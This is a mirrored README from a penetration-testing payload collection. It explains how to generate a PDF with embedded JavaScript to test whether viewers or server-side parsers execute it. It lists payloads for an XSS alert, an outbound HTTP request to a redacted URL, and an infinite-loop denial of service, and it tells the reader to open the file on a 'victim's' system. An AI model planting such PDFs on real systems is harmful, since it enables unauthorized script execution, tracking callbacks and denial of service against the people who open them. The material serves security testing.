mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-22 04:16:11 +00:00
45 lines
1.0 KiB
Markdown
45 lines
1.0 KiB
Markdown
|
# Generate PDF File Containing JavaScript Code
|
||
|
|
|
||
|
|
PDF may contain JavaScript code.
|
||
|
|
This script allow us to generate a PDF file which helps us to check if that code is executed when the file is opened.
|
||
|
|
Possible targets are client applications trying to open the file or sererside backends which are parsing the PDF file.
|
||
|
|
|
||
|
|
## HowTo
|
||
|
|
|
||
|
|
1. Edit the file `poc.js` with the JS code you want to have included in your PDF file
|
||
|
|
2. Install the required python modules using `pip install pdfrw`
|
||
|
|
3. Create the PDF: `python poc.py poc.js`
|
||
|
|
4. Open the file `result.pdf` on your victim's system
|
||
|
|
|
||
|
|
## Possible exploit codes
|
||
|
|
|
||
|
|
The full set of available functions is documented here: https://opensource.adobe.com/dc-acrobat-sdk-docs/library/jsapiref/JS_API_AcroJS.html
|
||
|
|
|
||
|
|
### XSS (for GUI viewers)
|
||
|
|
|
||
|
|
```js
|
||
|
|
app.alert("XSS");
|
||
|
|
```
|
||
|
|
|
||
|
|
### Open URL
|
||
|
|
|
||
|
|
```js
|
||
|
|
var cURL="http://[REDACTED]/";
|
||
|
|
var params =
|
||
|
|
{
|
||
|
|
cVerb: "GET",
|
||
|
|
cURL: cURL
|
||
|
|
};
|
||
|
|
Net.HTTP.request(params);
|
||
|
|
```
|
||
|
|
|
||
|
|
### Timeout
|
||
|
|
|
||
|
|
```js
|
||
|
|
while (true) {}
|
||
|
|
```
|
||
|
|
|
||
|
|
## References
|
||
|
|
|
||
|
|
The code is based on https://github.com/osnr/horrifying-pdf-experiments/
|